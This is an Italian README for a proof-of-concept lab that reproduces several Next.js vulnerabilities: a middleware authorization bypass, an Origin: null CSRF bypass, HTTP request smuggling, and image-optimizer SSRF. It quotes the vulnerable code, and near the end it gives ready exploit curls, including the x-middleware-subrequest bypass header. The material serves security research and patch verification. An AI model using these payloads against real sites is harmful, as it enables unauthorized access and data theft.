
Alcuni Proof-of-Concept (POCs) per CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 in Next.js.
Questo repository contiene ambienti proof-of-concept riproducibili per tre vulnerabilità di Next.js. Ogni PoC include un target vulnerabile, un target corretto e uno script che dimostra la differenza comportamentale tra i due.
L'obiettivo di questo progetto è rendere facile osservare la causa principale e l'impatto pratico di ogni problema in un ambiente minimale.
| CVE | Advisory | Impatto | Versione vulnerabile | Versione corretta |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | bypass dell'autorizzazione quando il controllo degli accessi si basa solo sul middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | bypass di Origin: null dei controlli CSRF delle Server Actions | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | contrabbando di richieste HTTP tramite riscritture verso un backend esterno | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | reperto di audit sorgente locale | bypass della whitelist remota dell'Image Optimizer tramite reindirizzamenti | 16.2.4 | non verificato |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | reperto di audit sorgente locale | l'URL locale dell'Image Optimizer può raggiungere un upstream privato tramite riscritture esterne | 16.2.4 | non verificato |
Gli hash sotto sono presi dall'upstream vercel/next.js.
| CVE | Commit di rilascio vulnerabile | Commit di rilascio corretto | Commit di correzione rilevante |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose sia disponibile.docker compose up --build
Porte esposte:
3001 -> CVE-2025-29927 vulnerabile3002 -> CVE-2025-29927 corretto3003 -> CVE-2026-27978 vulnerabile3004 -> CVE-2026-27978 corretto3005 -> CVE-2026-29057 vulnerabile3006 -> CVE-2026-29057 corretto3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEIn questo PoC, /dashboard è protetto solo dal middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
Il controllo di autorizzazione di per sé non è errato. Il problema è che la route dipende interamente dal presupposto che l'esecuzione del middleware non possa essere saltata.
Nelle versioni interessate di Next.js, le richieste esterne potevano comunque fornire l'header interno x-middleware-subrequest, e il runtime trattava quel valore come metadati del middleware fidati. La logica vulnerabile rilevante era:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest non veniva filtrato lì, quindi l'input controllato dall'attaccante poteva raggiungere il runtime del middleware. Quel valore veniva poi utilizzato per derivare la profondità di ricorsione:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Se un attaccante invia middleware:middleware:middleware:middleware:middleware, il runtime potrebbe concludere che la profondità di ricorsione è già stata raggiunta e inoltrare la richiesta senza eseguire il middleware dell'applicazione.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Comportamento previsto:
3001 restituisce un reindirizzamento senza l'header di exploit, ma restituisce 200 OK con x-middleware-subrequest.3002 continua a reindirizzare a /login perché l'header interno non è più considerato attendibile dall'input esterno.Questo PoC espone una normale Server Action che modifica lo stato lato server:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
Il problema non è in transferFunds() stesso. Il comportamento vulnerabile risiedeva nella validazione CSRF di Next.js per le Server Actions. Nelle versioni interessate, Origin: null veniva trattato come un'origine mancante invece che come un'origine opaca esplicita:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignora
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Poiché 'null' diventava undefined, le richieste da origini opache come iframe sandbox potevano evitare il confronto host/origine ed essere comunque elaborate con i cookie della vittima allegati.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Comportamento previsto:
Origin: nullQuesto PoC riscrive /rewrites/:path* verso un backend esterno:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
Il comportamento vulnerabile risiedeva nella dipendenza http-proxy in vendita utilizzata da Next.js per le riscritture. Nelle versioni interessate, la logica del proxy per le richieste DELETE e OPTIONS poteva aggiungere content-length: 0 e rimuovere transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Ciò creava un disaccordo sui confini della richiesta tra la catena del proxy e il backend quando una richiesta chunked manipolata veniva inoltrata. Di conseguenza, una seconda richiesta poteva essere contrabbandata al backend sulla stessa connessione.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Comportamento previsto:
DELETE /rewrites/poc chunked grezza contenente un GET /secret contrabbandatoDELETE /rewrites/poc che GET /secretEsempio di output osservato:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
Il sorgente locale next.js-16.2.4 convalida images.remotePatterns solo per il parametro url originale in ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Il percorso di fetch di rete segue poi i reindirizzamenti ricorsivamente in fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Quella chiamata ricorsiva mantiene il controllo dell'IP privato, ma non riceve né riapplica domains / remotePatterns. Un'origine immagine consentita configurata può quindi reindirizzare l'ottimizzatore verso un'origine pubblica diversa che non supererebbe la whitelist di immagini originale.
Il PoC utilizza servizi localhost e imposta dangerouslyAllowLocalIP: true solo affinché il comportamento della whitelist possa essere riprodotto senza infrastruttura esterna. La whitelist di immagini configurata consente solo http://127.0.0.1:4100/allowed/**; quel server reindirizza a http://127.0.0.1:4200/blocked/private.png, e il secondo server registra se è stato raggiunto.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Comportamento previsto:
41004200, che è al di fuori di images.remotePatterns4200 registra GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Usare lo script fornito, perché il campo Server Action viene generato dinamicamente dal server.
Usare lo script fornito, perché l'exploit si basa su un payload TCP grezzo con una seconda richiesta contrabbandata.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Per un URL immagine locale, ImageOptimizerCache.validateParams() convalida solo il pathname locale rispetto a images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Il percorso di fetch interno reinserisce poi il gestore delle richieste di Next.js:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Se la route locale corrispondente è configurata come riscrittura esterna, la richiesta può essere inoltrata a quella destinazione esterna. Questo percorso non chiama fetchExternalImage(), quindi la protezione dell'IP privato utilizzata per gli URL assoluti delle immagini non viene applicata alla destinazione riscritta.
Il PoC consente solo URL di immagini locali sotto /allowed/**, poi riscrive quel percorso in http://127.0.0.1:4300/private/:path*:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Comportamento previsto:
/allowed/secret.png perché corrisponde a images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state